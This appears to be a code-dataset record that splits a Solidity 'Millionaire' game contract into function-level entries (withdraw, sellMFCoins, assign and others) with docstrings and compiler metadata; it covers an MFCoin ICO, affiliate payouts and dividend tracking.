* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | sellMFCoins | function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
| /**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
14354,
15355
]
} | 6,960 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | assign | function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
| /**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
15474,
15687
]
} | 6,961 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
